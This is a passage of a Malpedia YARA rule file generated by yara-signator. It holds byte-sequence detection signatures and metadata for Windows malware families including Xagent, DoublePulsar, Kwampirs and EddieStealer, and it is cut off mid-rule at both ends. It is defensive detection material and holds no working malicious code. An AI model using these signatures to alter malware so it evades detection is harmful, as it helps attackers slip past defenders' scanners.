		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pvzout_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "a07bc946194cd01a9387c49797743aad8628a2824c8c9c6f1536148459ed0ba4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { d4a1 0e 75a8 43 }
		$sequence_1 = { bf95f6810e 75a8 43 1dea50873a d4a1 0e }
		$sequence_2 = { 43 1dea50873a d4a1 0e 75a8 43 1dea50873a }
		$sequence_3 = { 1dea50873a d4a1 0e 75a8 43 1dea50873a }
		$sequence_4 = { 3089f33d80f3 48 e21c 3e3f 19e9 }
		$sequence_5 = { 18830d88a01c 51 ab 25b53ae778 f3bd95ab4ed8 }
		$sequence_6 = { 1dea50873a d4a1 0e 75a8 }
		$sequence_7 = { 19e9 73f8 dca10ebd24e8 252b0026cb 9e }
		$sequence_8 = { d4a1 0e 75a8 43 2f 3089f33d80f3 }
		$sequence_9 = { 5a bf95f6810e 75a8 43 }
	condition:
		7 of them and filesize < 573440
}

rule MALPEDIA_Win_Xagent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "858895d8-2a97-5541-a089-3de82693028e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xagent_auto.yar#L1-L243"
		license_url = "N/A"
		logic_hash = "6bd2f7e71d8c01d128cc02e9a985eec56e3c9b4bd52be45a95e998c8268d5099"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1ea02 6bd20d b801000000 2bc2 }
		$sequence_1 = { ff15???????? 8bd8 e8???????? 03d8 }
		$sequence_2 = { 7702 2bc7 8b5204 8b0482 8b0488 8b4e10 85c9 }
		$sequence_3 = { 33d2 eb02 8b11 8b4808 8bc1 57 8b7a08 }
		$sequence_4 = { 8b7a08 c1e802 83e103 3bf8 7702 2bc7 8b5204 }
		$sequence_5 = { 55 8bec 33c0 83ec0c 39412c }
		$sequence_6 = { 7507 c7460c00000000 5f 5e 8be5 }
		$sequence_7 = { e8???????? 8b4604 85c0 7407 8b4d08 8b11 8910 }
		$sequence_8 = { ff15???????? 6a08 e8???????? 83c404 85c0 }
		$sequence_9 = { 03ff 3b7e0c 7707 c7460c00000000 49 894e10 7507 }
		$sequence_10 = { 7509 488b03 488bcb ff5008 488b7d8f 4883c610 488d46f8 }
		$sequence_11 = { e8???????? 48833b00 740a 488b4308 }
		$sequence_12 = { 4883ec30 4883792800 498bf9 498bf0 }
		$sequence_13 = { 740c 488b07 4c8b13 488903 4c8917 488b13 488b0e }
		$sequence_14 = { e8???????? 488b4328 4c8bcf 4c8bc6 }
		$sequence_15 = { 0f92c3 488d4c2430 e8???????? 90 }
		$sequence_16 = { e8???????? 90 0fb705???????? 6689442420 }
		$sequence_17 = { 740c 488b07 488b0b 488903 48890f 488b5c2430 488b6c2438 }
		$sequence_18 = { b803b57ea5 f7e6 c1ea06 6bd263 }
		$sequence_19 = { 75f8 488d8c2430010000 482bc1 488d8c0430010000 }
		$sequence_20 = { 75f8 488bf9 482bfe 2bfb }
		$sequence_21 = { 75f8 488bf9 482bfb 448bcf }
		$sequence_22 = { 75f8 488d4c2420 482bc1 488d4c0420 }
		$sequence_23 = { 75f8 488bf9 482bfa 4c8bc7 }
		$sequence_24 = { 75f8 488bf8 482bfa 488b4b28 }
		$sequence_25 = { 75f8 492bc3 488bcf 6645892c03 }
	condition:
		7 of them and filesize < 729088
}

rule MALPEDIA_Win_Sword_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8539535f-357d-5d16-925a-82cf11392564"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sword"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sword_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "f965a414f19aed1fee3b06d38e5b293cff63935b0d3b803549aab6fbb9244e65"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 897c242c 8b3d???????? 6800010000 c74424143c000000 c744242064924000 89542424 }
		$sequence_1 = { f2ae f7d1 49 8d842488020000 51 50 56 }
		$sequence_2 = { 8bfd 83c9ff 33c0 f2ae 8b542424 33db f7d1 }
		$sequence_3 = { e8???????? 83c404 50 ff15???????? 668944240a 8d842428040000 50 }
		$sequence_4 = { 7c85 5f 5e 5d b801000000 5b 83c40c }
		$sequence_5 = { 8d8c2498060000 51 52 e8???????? 83c40c 8d842474020000 }
		$sequence_6 = { 8d942488030000 f2ae f7d1 2bf9 53 8bf7 8bfa }
		$sequence_7 = { 52 e8???????? 8818 8d842490020000 }
		$sequence_8 = { 6a00 6a00 6a00 7509 8d542414 }
		$sequence_9 = { 8d3c8d00a14000 c1e603 8b0f f644310401 7456 50 e8???????? }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Spygrace_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3c99942d-74fe-50f1-a9c2-d735c42e0b85"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spygrace"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spygrace_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "4d1aafea2b2d6148a5221a777c3a4ed202ce4fd229ea04549615dae7ae9b5684"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 742a 488bc5 4c8d05d90c0300 488bcd 48c1f906 83e03f }
		$sequence_1 = { 488bc3 48397b18 7203 488b03 48894c2430 4889442428 48c744242013000000 }
		$sequence_2 = { bb01000000 4533e4 448d4b5b 6644394c48fe 7440 483bca 731c }
		$sequence_3 = { 488d4db0 48837dc808 480f434db0 ffd2 85c0 0f85b0010000 4d8d86a0020000 }
		$sequence_4 = { 490f42c0 488d4dd0 48837de808 480f434dd0 4c2bc0 4c8945e0 4e8d044502000000 }
		$sequence_5 = { 488d4d1f e8???????? 90 488b4b10 48b8ffffffffffffff7f 482bc1 4883f807 }
		$sequence_6 = { 4c8b4110 488bf1 4d85c0 b901000000 490f45c8 488be9 }
		$sequence_7 = { e8???????? e9???????? 49638dd0330000 e8???????? 4889442448 498bce be10000000 }
		$sequence_8 = { 488d05bbc60200 4889442460 488d05c7c60200 4889442468 488d05cbc60200 4889442470 488d05cfc60200 }
		$sequence_9 = { 498bc8 e8???????? 4883a31004000000 488bcb 48c783180400000f000000 c6830004000000 4883c420 }
	condition:
		7 of them and filesize < 865280
}

rule MALPEDIA_Win_Invisimole_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff26101a-652d-5609-8231-3c338869a11e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.invisimole_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "8969781531efc17812b2df34968a188468c9267be73167ccabb12759d11db9c9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745f4ffffffff e8???????? 83c414 e9???????? 6a00 6800000008 6a03 }
		$sequence_1 = { 8b0d???????? 6a04 6a08 51 ffd6 85c0 7491 }
		$sequence_2 = { 52 56 884d0b e8???????? 8a450c 83c448 6a01 }
		$sequence_3 = { 746a 53 ff15???????? 8b4df4 51 c645ff01 ffd7 }
		$sequence_4 = { 8d4da0 51 52 50 ff55c8 85c0 }
		$sequence_5 = { c645bc0d 668955bd 894dbf 8bde 7409 83c302 66833b2a }
		$sequence_6 = { 7449 899e8caf0600 3d06010000 7305 e8???????? 899e7caf0600 0fb60f }
		$sequence_7 = { 52 ffd7 8bd8 895c2414 85db }
		$sequence_8 = { 895de8 3bde 0f8418010000 8b55ec 8b45f8 53 52 }
		$sequence_9 = { 8d4602 50 8d8f22020000 51 ff15???????? 33d2 668916 }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Redshawl_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f52543ad-f3b0-5635-b08b-6e314d7ab25e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redshawl_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "9697ea4899eafca20347b787cabf2930212702df9b80046d2c793afaab560dfd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4889442438 895c2430 4489642428 4c89642420 4533c9 4c8bc6 488d942430010000 }
		$sequence_1 = { 488b4c2448 e8???????? 90 90 e9???????? 488d542450 418bcc }
		$sequence_2 = { 7329 4863d1 488d0d90770000 488bc2 }
		$sequence_3 = { 488d8c2431010000 e8???????? ba04010000 488d8c2440020000 ff15???????? 4c8bde 488d8c2430010000 }
		$sequence_4 = { 3b3d???????? 737d 488bdf 488bf7 48c1fe05 4c8d25ea7e0000 }
		$sequence_5 = { 4c8be9 488b05???????? 4885c0 0f8436010000 48833d????????00 }
		$sequence_6 = { 48895c2408 57 4883ec20 488d1d0b6d0000 488d3d046d0000 }
		$sequence_7 = { 7532 488d0d239d0000 e8???????? ff15???????? 89442460 488d150c000000 }
		$sequence_8 = { 8364242800 41b803000000 488d0d6c320000 4533c9 ba00000040 4489442420 }
		$sequence_9 = { 418bcc e8???????? 8bd8 89442440 85c0 }
	condition:
		7 of them and filesize < 174080
}

rule MALPEDIA_Win_Allaple_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "76748fdd-5448-52e3-b40a-c8804bcac97d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.allaple_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "89aee7277247b951ca979dcece1297fc5fda6e02a408403041aa3b0414e347cd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945f4 57 ff75fc e8???????? 8945f0 897de8 897dec }
		$sequence_1 = { 83c704 c70704000000 83c704 6a18 ff7510 57 e8???????? }
		$sequence_2 = { c7420c76543210 8be5 5d c3 55 8bec }
		$sequence_3 = { 0345d8 50 e8???????? 83c408 a3???????? 6a03 ff35???????? }
		$sequence_4 = { 8b45e4 33c2 8945e4 8b4dec 8b55f0 8d044a 0345b0 }
		$sequence_5 = { 52 ff750c e8???????? 47 4b 83c604 0bdb }
		$sequence_6 = { 50 ff75fc e8???????? 8d85c0feffff 50 8d85c4feffff }
		$sequence_7 = { 6a00 6a64 8d8544fdffff 50 e8???????? 6a00 }
		$sequence_8 = { 8b55fc 8b4238 3345f4 8b4df8 894138 8b55fc 8b423c }
		$sequence_9 = { 8975f0 6a50 e8???????? 668945ee 6a10 8d45ec 50 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Gearshift_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5cb12abd-628a-5169-a5df-e2c33952153a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gearshift_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "e8d3111d44f6324e90544c2ebdde13a938df2e4a9f50331b57f760f4ee12b3d4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4883ec20 85c9 7871 3b0d???????? 7369 4863d9 488d2dff1a0300 }
		$sequence_1 = { 48895c2408 4889742410 48897c2418 498bf8 8bda 488bf1 443bca }
		$sequence_2 = { e8???????? e9???????? 488b442450 488d0db7350300 488b04c1 41f644070840 }
		$sequence_3 = { 4883c310 48ffce 75d4 488d1def070300 }
		$sequence_4 = { 8b4ffc 41b940000000 41b800100000 488bd0 4903ce 488bd8 }
		$sequence_5 = { 488b4c2430 4885c9 7406 ff15???????? 8bc7 eb02 }
		$sequence_6 = { e8???????? 33c9 3d00040000 7510 e8???????? b801000000 4883c430 }
		$sequence_7 = { 4883c328 0fb74806 443bf9 0f8c50ffffff 488b4500 8b4828 }
		$sequence_8 = { 0f84ca020000 488d05d13b0300 4a8b04e0 41f644070880 0f84b3020000 e8???????? 33db }
		$sequence_9 = { 488d542434 8bc8 ff15???????? 33c0 488d542438 }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Voldemort_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7d125483-3b6e-5a9c-99c0-128adae803f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.voldemort"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.voldemort_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "6016b2bc3970bf978eb2d9654ea41d202d59cf54c1ab79dd97509026eb74172c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4803c1 48894308 e9???????? 48895c2408 }
		$sequence_1 = { 48894308 e9???????? 48895c2408 57 }
		$sequence_2 = { 418ac0 c3 488bc4 48895808 48896810 48897018 48897820 }
		$sequence_3 = { 0f45c7 4803c1 48894308 e9???????? 48895c2408 57 4883ec20 }
		$sequence_4 = { 488b5c2408 418ac0 c3 488bc4 }
		$sequence_5 = { 7597 41b001 488b5c2408 418ac0 c3 488bc4 }
		$sequence_6 = { 488b5c2408 418ac0 c3 488bc4 48895808 48896810 48897018 }
		$sequence_7 = { 8d78fe 0f45c7 4803c1 48894308 e9???????? 48895c2408 }
		$sequence_8 = { 488b5c2408 418ac0 c3 488bc4 48895808 48896810 }
		$sequence_9 = { 5f c3 4c8bdc 49895b18 57 4883ec40 }
	condition:
		7 of them and filesize < 577536
}

rule MALPEDIA_Win_Kwampirs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a88d76d0-b266-5ba2-9e4c-b6324e74f1af"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kwampirs_auto.yar#L1-L112"
		license_url = "N/A"
		logic_hash = "47dcb9c842442be04bc0bae4d6dd96d075eca81ceae0f2c5424da9336b167768"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 391f 0f95c0 8b4df0 64890d00000000 59 5f 5e }
		$sequence_1 = { 83c418 85c0 7512 8b07 50 e8???????? 83c404 }
		$sequence_2 = { 391f 0f95c0 8b4df0 64890d00000000 }
		$sequence_3 = { 52 50 8d8dbcf3ffff 51 }
		$sequence_4 = { 33d2 668955f6 e8???????? 83c40c }
		$sequence_5 = { ffd6 8b45c0 50 ffd6 }
		$sequence_6 = { 50 ffd6 8b4dc4 51 ffd6 }
		$sequence_7 = { 668955f6 e8???????? 83c40c 33d2 }
		$sequence_8 = { c745fcfeffffff e8???????? b001 8b4df0 }
		$sequence_9 = { 33d2 6816060000 52 8d85bef3ffff 50 }
	condition:
		7 of them and filesize < 2695168
}

rule MALPEDIA_Win_Chinoxy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "78736f40-563d-5718-b05e-03a3a946c1f4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chinoxy_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "c0bd3bd9ac342844eead2562e34424d0e649b578cd28d421251d6ac44bae37dc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7405 394004 7538 6a3c e8???????? 83c404 89442408 }
		$sequence_1 = { 897e5c 897e60 897e64 897e68 897e6c 897e70 897c2414 }
		$sequence_2 = { 52 e8???????? 83c408 85c0 0f84a7000000 8b4f08 6a00 }
		$sequence_3 = { 8b5918 33eb 33db 33c5 89442414 8be8 8a5c2416 }
		$sequence_4 = { 743a 8b431c 8db140800200 85c0 7506 8db15c800200 8bce }
		$sequence_5 = { 3bc6 8b5008 895610 75a7 e9???????? 8b85a0020000 }
		$sequence_6 = { 8bde c1ef10 c1e310 0bfb 2bc6 33f8 03f1 }
		$sequence_7 = { b9???????? e8???????? 85ff 740a 83c704 57 ff15???????? }
		$sequence_8 = { 8bf9 c1ee18 c1e708 0bf7 2bd9 33f3 }
		$sequence_9 = { 83f8ff 7409 83c004 3bc6 7602 8bf8 }
	condition:
		7 of them and filesize < 1138688
}

rule MALPEDIA_Win_Doublepulsar_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e360b7f1-7141-5d69-b347-a9d866ef6b2b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublepulsar_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "459595fa25b87fbf8bb9d6bb59b89562d36c28a4b010623ea717539c5888323b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 668b00 c3 81e2ffff0000 c1e202 01d1 8b09 01c8 }
		$sequence_1 = { 6852445000 ff75fc 6a01 ff13 }
		$sequence_2 = { 894530 8b4620 8b7d65 83c703 8907 8b4628 a902000000 }
		$sequence_3 = { ff500c 85c0 748c 33c0 5f 5e 5b }
		$sequence_4 = { 8b8c003cb54000 03c0 894e5c 8b9040b54000 895660 8b8844b54000 894e64 }
		$sequence_5 = { 85c0 7463 8b442444 6a0e 53 50 }
		$sequence_6 = { 88c8 c1e908 00c8 c1e908 00c8 c1e908 00c8 }
		$sequence_7 = { 03d8 2be8 85ed 75ac }
		$sequence_8 = { e8???????? a1???????? 33c4 898424a0100000 55 56 8bb424b0100000 }
		$sequence_9 = { 0f85f4000000 41 83f813 0f8287010000 8b4a0b 41 8bc0 }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Rekoobew_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c4672783-76e3-563a-8027-eca1db960fbe"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rekoobew_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "58559e9eb7cf00c4472271b9f2f8096ac74daa9182ac5f503ca473672c8d4ebd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b75bc 3375c4 3375d8 3375ec }
		$sequence_1 = { 0fb6fe 89ca 3314bde08c4000 0fb6f2 8b3cb5e0904000 }
		$sequence_2 = { 894714 83c201 83fa08 7588 }
		$sequence_3 = { 33348de0704000 8b4de8 c1e910 0fb6c9 33348de0744000 8975e0 }
		$sequence_4 = { 3c0d 745e 80f93d 0f85a0feffff 89f0 eb53 b8ffffffff }
		$sequence_5 = { 894de0 0fb67004 c1e618 0fb65005 c1e210 09f2 0fb67007 }
		$sequence_6 = { 0f84c5000000 8b5078 85d2 0f84ba000000 8b35???????? 85f6 }
		$sequence_7 = { 33735c 89d7 c1ef18 3334bde0844000 89cf c1ef10 81e7ff000000 }
		$sequence_8 = { 09d7 0fb64827 09cf 0fb65026 c1e208 09d7 897dc8 }
		$sequence_9 = { e8???????? 85c0 7916 c704240f000000 e8???????? b828000000 e9???????? }
	condition:
		7 of them and filesize < 248832
}

rule MALPEDIA_Win_Eddiestealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e232a61b-2f1e-5ab2-a023-babaefc44f11"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eddiestealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eddiestealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "755d9f27c3527a6497613857d1940285eade46fbad0b63ce47e48a5daf512e5a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c3ba42498000000 0f84da010000 498d7c2410 49897f40 488b842488000000 4c8b28 488b842490000000 }
		$sequence_1 = { b808000000 488d0d6faf0500 48894d00 48895d08 48894510 0f117518 488dbc24500c0000 }
		$sequence_2 = { 4d39d3 4c89d1 490f47cb 4584ff 490f45cb 4c0f45d7 4c8b5c2440 }
		$sequence_3 = { 8b542430 e8???????? 0fb66802 440fb738 4181f7aafa0000 4080f544 b903000000 }
		$sequence_4 = { e8???????? 660fefc0 488365f000 660f7f45d0 660f7f45e0 31c9 488d1578820600 }
		$sequence_5 = { 7720 4c8b0411 4c330408 4c89440c30 4883c108 ebe7 488bb42400010000 }
		$sequence_6 = { e8???????? 668932 4889842488000000 4889942490000000 48c784249800000002000000 c68424a000000005 0f108424b0020000 }
		$sequence_7 = { e8???????? e8???????? 488b4808 48898c2448010000 488b4010 4889842438010000 488d055e330300 }
		$sequence_8 = { c1e80c 31d0 89c2 c1ea10 31c2 69c2fad30000 0fb7c0 }
		$sequence_9 = { 31d2 488d0d72810400 49b8001927cf2367fead 41f6c101 741c 440fb60c0a 4d09c1 }
	condition:
		7 of them and filesize < 1316864
}

rule MALPEDIA_Win_Kagent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eeb554cd-bcde-5191-9d05-cd5d3b643304"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kagent_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "f0789c212010e4f78374ae02f32c05cce682ad24c1e1d92ee73ca388e2879a4e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83ec0c 56 57 8bf8 8b7744 8b4f18 c745f800000000 }
		$sequence_1 = { 85c0 7e2b 3bf0 7d51 85f6 784d 8b450c }
		$sequence_2 = { ff15???????? 57 ffd6 68???????? e8???????? 83c404 53 }
		$sequence_3 = { 50 8d45f4 64a300000000 8a450c 8b5d10 8955ac 8b5518 }
		$sequence_4 = { 56 8d75ec e8???????? 8b4804 8b4704 bb01000000 e8???????? }
		$sequence_5 = { ffd6 668b542410 663b542420 74ed ff15???????? 33d2 b9e8030000 }
		$sequence_6 = { 8b4004 33f6 83c40c 897220 897224 8b5580 52 }
		$sequence_7 = { 56 8bf0 57 3b7508 745a 8d542410 33c9 }
		$sequence_8 = { e8???????? c7459c09000000 895de8 8d8d6cffffff 51 57 c645fc05 }
		$sequence_9 = { 50 68???????? 68???????? e8???????? 83c40c eb24 }
	condition:
